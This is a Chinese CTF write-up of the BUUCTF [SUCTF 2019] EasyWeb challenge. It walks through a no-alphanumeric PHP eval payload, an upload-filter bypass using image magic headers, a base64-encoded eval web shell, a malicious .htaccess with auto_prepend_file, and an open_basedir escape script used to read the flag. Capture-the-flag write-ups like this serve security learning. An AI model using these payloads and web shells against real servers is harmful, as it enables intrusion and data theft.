BUUCTF_[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

参考:

[SUCTF 2019]EasyWeb-CSDN博客

[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)

场景:

image-20240213133746094

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// 文件上传函数,但是主函数没有执行
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

// 获取参数_的值,可以用非法传参.代替
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

// 判断传入的参数是否长度超过18

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
// 无数字字母rce
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
// 返回字符串中所有字符出现的次数,以关联数组的形式
$character_type = count_chars($hhh, 3);
// 统计关联数组有多少个字符类型,不能超过12种
if(strlen($character_type)>12) die("Almost there!");
// 危险函数执行
eval($hhh);
?>

根据对主程序的代码审计,我们知道这里我们需要采用无数字字母rce的方式。

无数字字母rce的payload:

1
2
3
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

?.=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

image-20240213151532252

由于需要利用system(‘ls /‘);以及echo ls /;这些代码都是需要进行拼接字符串才可以被eval()执行,如:

1
$_GET[a]($_GET[b])=>a=system&b='ls /'

而这样做的结果就是加长了构造的payload字符串导致字符串的长度边长,所含字符的种类变多,从而被拦截

但是题目中给出了获取flag的函数:get_the_flag,所以我们可以通过调用该函数获取flag

调用get_the_flag()函数:

1
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag

image-20240213152944988

没有回显内容,这是因为我们只是调用了该函数,但是没有上传文件。

对get_the_flag()函数代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
// 文件上传函数,但是主函数没有执行
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
// 获取文件的保存路径,需要拼接上我们的ip地址的md5加密字符串
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
// 创建文件地址
mkdir($userdir);
}
// 判断文件内容是否为空
if(!empty($_FILES["file"])){
// 获取文件名信息
// 获取暂存文件夹中文件的路径名
$tmp_name = $_FILES["file"]["tmp_name"];
// 获取文件名
$name = $_FILES["file"]["name"];
// 获取文件的后缀名,获取最后一个.之后的字符串内容
$extension = substr($name, strrpos($name,".")+1);
// 判断上传的文件后缀名是否有ph
if(preg_match("/ph/i",$extension)) die("^_^");
// 获取上传文件的内容,如果含有<?则拦截
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^"); //判断文件是否为image类型,通过添加文件头幻术来绕过
// 上传文件到指定的路径
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

分析:

1
2
3
4
1.根据代码审计我们知道我们需要上传文件到该网站中,才能成功运行,但是该网站没有提供给我们上传文件的接口,所以我们需要自己创造一个上传文件的接口,将我们本地文件的内容上传到该网站上
2.根据代码审计我们发现后缀过滤,但是这种过滤方式可以用.php.进行绕过,或者使用图片后缀名配合.htaccess文件进行绕过
3.exif_imagetype($tmp_name)检测文件内容是否为图片类型,使用添加文件幻术头进行绕过,.htaccess中#作为注释,所以可以采用XBM文件的,而上传的PHP代码文件可以添加更为方便的GIF文件的GIF89a66
4.mb_strpos(file_get_contents($tmp_name), '<?')对文件php内容的开头进行判断,可以使用<script language="php">@eval($_POST['pass']);</script>进行绕过,不过前提是php运行内核版本<7.0,或者使用加密内容传输,配合.htaccess文件解密加密的文件内容

创造上传文件的html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>

<body>
<h1>上传文件</h1>
<form action="http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<br>
<input type="submit" value="上传">
</form>
</body>

</html>

这里指定的url是指目标网站地址,上传的文件会被寄存在目标网站的tmp目录上等待被处理,这里同时在访问目标网址时启动get_the_flag()函数,用于上传文件后能直接处理tmp目录中的文件。

查看网页运行的php版本:

image-20240213220802182

php版本为7.2.19所以不能使用<script language=”php”>@eval($_POST[‘pass’]);</script>进行绕过,所以要逃过对<?的检测只能使用文件内容加密配合.htaccess文件加密文件内容,使用了.htaccess文件,就直接上传图片文件吧。

准备上传文件:

pass.php:

1
2
3
GIF89a66

<?php echo "win!!!";@eval($_POST['pass']);?>

=>转化为绕过文件:

pass.jpg:

1
2
3
GIF89a66

PD9waHAgZWNobyAid2luISEhIjtAZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g

image-20240213222006414

.htaccess:

方法一:

添加XBM文件幻术头:

1
2
3
4
#define width 1337

#define height 1337

1
2
3
4
5
6
7
#define width 1337

#define height 1337

php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./pass.jpg"

AddType application/x-httpd-php .jpg

image-20240213222127585

方法二:

1
2
3
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

这里采用方法一的.htaccess文件。

上传文件:

pass.jpg:

上传:

image-20240213225818685

响应结果:

image-20240213225759507

.htaccess:

上传:

image-20240213225924525

响应结果:

image-20240213230120518

访问我们的pass.jpg:

image-20240213230241660

测试木马文件是否可用:

payload:

1
2
POST:
pass=phpinfo();

image-20240213230347611

我们的木马文件可以被使用!!!

查看文件根目录:

payload:

1
2
POST:
pass=system('ls /');

image-20240213230511448

没有回显内容,可能是对函数进行禁用了。

查看phpinfo()了解禁用内容:

image-20240213230650369

禁用了对系统命令的使用,所以只能采取蚁剑连接了。

蚁剑连接木马文件:

image-20240213231219940

第一种方式:直接查看:

(前提是蚁剑拥有可以访问根目录中文件信息的权限)

查看文件的根目录信息:

image-20240213231338423

发现一个flag相关文件

打开THis_Is_tHe_F14g文件:

image-20240213231455476

获得flag=flag{7f878969-d964-4dfe-886b-00815550a1d6}

第二种方式:在上传文件的目录中再创建一个shell.php用于获取文件信息:

(蚁剑无法直接获取根目录文件内容时以及)

获取指定目录的文件信息:

新建文件shell1.php:
shell1.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
mkdir('south');
chdir('south');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

image-20240213232539210

image-20240213232556360

image-20240213233043246

image-20240213233319227

网页访问我们新建的shell1.php:

(由于是在当前目录下创建的shell1.php,所以访问时还是以当前目录下的shell1.php去启动运行该文件)

1
http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell1.php

image-20240213233439097

获得一个文件:THis_Is_tHe_F14g

获取指定目录下的文件的内容:

新建一个shell2.php:
shell2.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
mkdir('south');
chdir('south');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
echo "<hr>";
echo file_get_contents("/THis_Is_tHe_F14g");

image-20240213234142911

image-20240213234201910

网页访问我们新建的shell2.php:
1
http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell2.php

image-20240213234252121

flag=flag{7f878969-d964-4dfe-886b-00815550a1d6}


BUUCTF_[SUCTF 2019]EasyWeb
http://example.com/2024/02/18/2024-02-18-[SUCTF 2019]EasyWeb/
作者
South
发布于
2024年2月18日
许可协议